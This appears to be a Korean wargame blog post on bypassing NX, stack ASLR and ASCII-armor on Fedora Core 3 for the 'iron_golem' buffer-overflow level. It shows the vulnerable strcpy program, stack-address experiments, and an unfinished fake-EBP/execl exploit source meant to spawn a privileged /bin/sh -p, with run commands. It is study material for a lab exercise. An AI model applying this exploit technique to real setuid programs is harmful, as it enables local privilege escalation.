본문 바로가기

Study/BOF

NX, ASLR(only stack), Ascii-Armor 우회(미완성 소스공개)

예전에 간략하게 기록해놨던 메모와 소스를 토대로 수정해서 익스플로잇을 공개할 예정입니다.

(메모 보러 가기-페친분만 가능)

Return Oriented Programming, RET Sleding 기법은 아닙니다.

원본소스는 저번에 vm이날라가서 초기에 짰던 소스로 재구성 해보겠습니다.


테스트 환경 : Fedora core 3

(Linux Fedora_1stFloor 2.6.9-1.667 #1 Tue Nov 2 14:41:25 EST 2004 i686 i686 i386 GNU/Linux)

hackerschool의 BOF원정대 이미지와 문제를 가지고 테스트해봅니다.


테스트 문제 : iron_golem.c

/*
    The Lord of the BOF : The Fellowship of the BOF
    - iron_golem
    - Local BOF on Fedora Core 3
    - hint : fake ebp
*/
 
int main(int argc, char *argv[])
{
    char buffer[256];

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}


구상도 : execl function call -> 자식프로세스로 exploit대상 파일 실행 -> 넘겨주는 인자배열로 execl 페이로드 구성 -> fake ebp를 통해 구성해둔 페이로드로 점프


※ 페이로드 구성 시 exec 계열을 사용안하면 중간에 setreuid(501,501) 호출이 필요하다. 호출하고나서 다시 시스템함수를 호출할수없는건 아니지만 인자 지정이 어려워서 setreuid 인자일부와 같은 파일명을 만들어야 하는 방법 등을 써야한다.



핵심요약


-1 FC하위 버전의 부모 프로세스와 자식 프로세스의 스택이 일정확률로 정확히 일치합니다.

[gate@Fedora_1stFloor tmp]$ gcc -o a a.c
[gate@Fedora_1stFloor tmp]$ gcc -o b b.c

[gate@Fedora_1stFloor tmp]$ cat a.c b.c
int main(int argc, char *argv[]){
char buffer[40];
printf("in a argv[1] : %#x\n",&argv[1]);
execl("./b","a",0);
}
int main(int argc, char *argv[]){
char buffer[40];
printf("in b argv[1] : %#x\n",&argv[1]);
}

[gate@Fedora_1stFloor tmp]$ ./a a
in a argv[1] : 0xfee1f958
in b argv[1] : 0xfefbbb18
[gate@Fedora_1stFloor tmp]$ ./a a
in a argv[1] : 0xfee9ecc8
in b argv[1] : 0xfee9ecc8
[gate@Fedora_1stFloor tmp]$ ./a a
in a argv[1] : 0xfeee5128
in b argv[1] : 0xfeee5128
[gate@Fedora_1stFloor tmp]$ ./a a
in a argv[1] : 0xfee735f8
in b argv[1] : 0xfee735f8
[gate@Fedora_1stFloor tmp]$ ./a a
in a argv[1] : 0xfee55278
in b argv[1] : 0xfef49398
[gate@Fedora_1stFloor tmp]$ ./a a
in a argv[1] : 0xfef8af78
in b argv[1] : 0xfef8af78
[gate@Fedora_1stFloor tmp]$ ./a a
in a argv[1] : 0xfee11728
in b argv[1] : 0xfef0b6e8
[gate@Fedora_1stFloor tmp]$ ./a a
in a argv[1] : 0xfeeccc28
in b argv[1] : 0xfeec78d8
[gate@Fedora_1stFloor tmp]$ ./a a
in a argv[1] : 0xfef234f8
in b argv[1] : 0xfef234f8

높은확률로 일치를 보입니다.


-2 execl 함수로 넘겨주는 인자배열에 널을 마음껏 집어넣을 수 있습니다.

[gate@Fedora_1stFloor tmp]$ cat argv.c
int main(){
execl("./vuln","./\xbb\xbb\xbb","\xcc\xcc\xcc","\xdd\xdd\xdd","\xff\xff\xff",0);
}

$ ./argv


0xfefaec48 2e 2f bb bb bb 00 cc cc cc 00 dd dd dd 00 ff ff ./..............

Q. 인자 사이사이가 아니라 연속으로 널을 넣고싶은데 가능한가요?

A. 창의력을 발휘해세요. 환경변수에 존재하는 파일명과 널을 이용하는방법도 있고 간단하게는 인자배열을 넘길때마다 널이생기는 점을 이용하는겁니다. 나중에 올릴 소스를 참고 하세요


핵심내용 2가지면 위에서 설명한 내용들이 이론상 문제될게 없습니다.



미완성 소스 공개합니다.


[gate@Fedora_1stFloor ~]$ cat oldexploit.c

#include "dumpcode.h"
#include <unistd.h>
int main(int argc, char *argv[]){
        char buffer[256];              //same buffer size
        unsigned int null_febp=0x00000000;
        unsigned int febp=0xefbeadde;
        unsigned int null_save=0x00000000;
        unsigned int save=0xdeadbeef;
        char leav[]="\x40\x84\x04\x08";//leave addr 0x08048440
//      char setr[]="\x60\x98\x7d\x00";//setreuid addr 0x7d9860
        febp=(unsigned int)argv[1];    //basic addr enable
        save=(unsigned int)argv[0];
        save-=24;                      //error correction
        febp+=245;                     //vulnfile argv[2] -4 addr offset calculate
        memset(buffer,'A',272);        //buffer clean
        printf("target -4 febp : %#x\n",febp);   //check febp
        printf("-p addr : %#x\n",save);
        memcpy(buffer+264,&febp,4);    //fake ebp enable
        memcpy(buffer+268,leav,4);     //leave addr enable
        memset(buffer+272,'\x00',4);   //null byte enable
//      febp+=9;                       //vulnfile argv[3] addr offset calculate
//      printf("reference addr : %#x\n",febp);
//      printf("exploit_dumpcode buffer 304\n");
//      dumpcode(buffer,304);
        execl("./iion_golem","-ppppppppppp",buffer,"\xc0\x07\x75","\x20\x57\x7a","\x03\x36\x83","\x03\x36\x83",&save,"","","",0);

/*argv[0]{ ./iron_golem }, argv[1](buffer){ A*264 + febp + leave }, argv[2]{ febp ,new execl addr(0x7a5720), dummy(0x7507c0) 4, /bin/sh addr(0x833603), &-p, null 4 }*/
}


제가 원하는 execl함수 호출은

#include <unistd.h>
int main(int argc, char *argv[]){
int *a[2];
a[0]="/bin/sh";
a[1]=0;
execl(a[0],a[0],"-p",a[1]);
return 0;
}

대략 이렇게 생겼습니다.


중요한건 이렇게 바꿔도 쉘획득에는 무방하다는 점입니다.

execl(0x833603,0x833603,"-ppppppppppppppppppppppppppppppppppppppppppppppppppppp",0x000000);



위에 미완성 소스는 제가 작성하면서 시행착오를 겪으며 적은 주석들외에 자세한 설명은 아직 하지않겠습니다...


혹시 완성해보실분계시면 완성한과정 보내주시면 정말 감사드립니다.

예전에는 쉘은 따진걸로아는데 지금은 쉘은커녕 fake_ebp과정에서 중간에 점프를 안하는것같네요...



[gate@Fedora_1stFloor ~]$ cat iion_golem.c
#include "dumpcode.h"
int main(int argc, char *argv[])
{
    char buffer[256];

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
    dumpcode(argv[0],336);
    sleep(13);
}

사본에 이와같이 덤프코드를 추가하시면 디버깅에 매우 유리합니다.


sleep는 gdb attach용인데요 linux에선 sleep함수가 초단위로 멈춰줍니다.

13초면 좀많은거 아닌가 싶지만

스택 주소 일치를 확인하고 pid를 확인하고 gdb로 attach하는데 생각보다 시간을 많이 잡아먹습니다.


미완성 소스에서 출력결과에서 스택의 일치를 확인하실때는

-p addr : 0xfef39b08

0xfef30b08

굵게 표시하신 부분을 확인하면 됩니다.

이상하게 일치율이 위에서 보여준 단순소스보다 현저하게 낮아졌는데요

그래도 약10%정도 확률로 꾸준히 일치하고있습니다.


일치하지않아도 뒤에 3자리로 계산하시고 일치할때까지 프로그램 돌리셔도됩니다.


실행은 다음과같이 해주세요

./oldexploit $(python -c 'print "\x90"*272')&